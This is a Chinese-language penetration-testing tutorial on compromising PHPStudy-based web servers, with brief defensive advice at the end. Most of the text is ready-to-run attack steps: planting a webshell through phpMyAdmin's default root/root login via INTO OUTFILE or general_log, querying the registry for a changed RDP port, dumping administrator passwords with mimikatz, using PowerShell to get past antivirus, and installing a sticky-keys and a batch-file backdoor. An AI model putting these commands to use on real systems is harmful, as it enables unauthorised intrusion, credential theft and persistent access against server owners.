渗透测试过程中很容易遇到一些使用PHPStudy 集成环境搭建的web环境,以下我列出了一些常见的渗透思路,希望在对红方起到一些提示的同时,也能够为蓝方提供一些防御的思路,只要注意修复几个点,就能抵御住很多攻击手段。
1
phpmyadmin
如果能拿到数据库的root权限其实写入webshell就容易的多了,这里举一个phpstudy的例子,phpstudy会自动帮你装好MySQL、PHP等环境,还会装好PHPMyadmin,更加致命的是,在根目录会有一个l.php的探针,遇到探针基本就GG了,各种信息一应俱全。在PHPstudy环境下,PHPMyadmin有默认密码root root
PHP探针长这样
我们先进phpmyadmin,看到这里大家可能会想到去用outfile加路径去写入shell
Create TABLE moon (darkmoon text NOT NULL);
Insert INTO moon (darkmoon) VALUES('');
select darkmoon from moon into outfile 'D:/phpStudy/WWW/7.php';
Drop TABLE IF EXISTS moon;
但是如果遇到这种情况呢?
我们真的没办法吗?
并不然,其实在phpmyadmin还有一个能够帮助我们写入webshell的装置,那就是General_log,只要我们开启General_Log选项,设置好物理路径,任意执行的Mysql语句,都会被记录在里面,所以我们只要select一个小马进去即可。
select ''
访问相应路径即可Getshell。
2
3389端口被改成了什么?
拿到webshell以后自然是去查看权限,添加用户。等添加完用户以后再去登录,发现3389没有开启?真的吗?查一下
netstat -aonfindstr "3389"
其实有很大可能是对方服务器更改了远程桌面端口,要想查到真正的端口也并不困难,无需去扫描和猜测,只需要一句话:
REG query HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\WinStations\RDP-Tcp /v PortNumber
结果会是一个16进制数,换算成10进制即可。
在登录远程桌面的时候,地址输入IP:Port即可。
3
Mimikatz
在有的时候,我们不能自由添加用户,但是想在菜刀的Webshell里直接执行CMD去读取管理员密码
菜刀的虚拟终端是一个非交互SHELL,这时候我们只需要这样
mimikatz.exe ""privilege::debug"" ""sekurlsa::logonpasswords full"" exit >> log.txt
然后用CMD去type log.txt
4
Whoami
再或者,如果遇到装有防护软件的服务器,我们一些敏感操作会被拦截掉,比如net user相关操作。
这时候如果服务器在Win 2008或以上,可以考虑使用powershell来绕过。
powershell
powershell.exe -c "Get-WmiObject -Class Win32_ComputerSystem Select-object -ExpandProperty UserName"
实践告诉我们,powershell几乎在Windows下全能,而且一般杀软不会报毒,可以执行一系列敏感操作。
前提是得有啊…之前遇到的一个Win2003服务器就没办法,因为没有。
查看windows服务器版本的方法:
ver
然后按照版本号去对照。
5
Backdoor
打完服务器,拿了管理员密码,有没有想过回不去了怎么办?
自然是装一个后门。
最简单的就是Shift后门,连按5下shift,就可以弹出一个CMD窗口
其实原理很简单,就是将C:/Windows/System32/sethc.exe替换为一个CMD程序,将CMD程序复制一份改个名即可。
看到了另一个带密码的后门,分享一下
@echo off
:loop
set /p passwd="请输入密码:"
echo %passwd%
if "%passwd%" equ "123" (start "cmd.exe" )
pause
这种简单的后门能够在一定范围留住权限。
防御建议
对于企业来说,在选用集成环境搭建服务时,应该时刻注意应该改掉弱密码与默认密码,这是很多网络被攻陷的一个很重要的原因。
此外,应该及时安装与更新服务器防护软件,这些手段能在很多时候挽救你的服务器。
对于一些能够提供较高权限但在实际服务器维护中不会用到的程序,应该及时禁用(如powershell)。
领取专属 10元无门槛券
私享最新 技术干货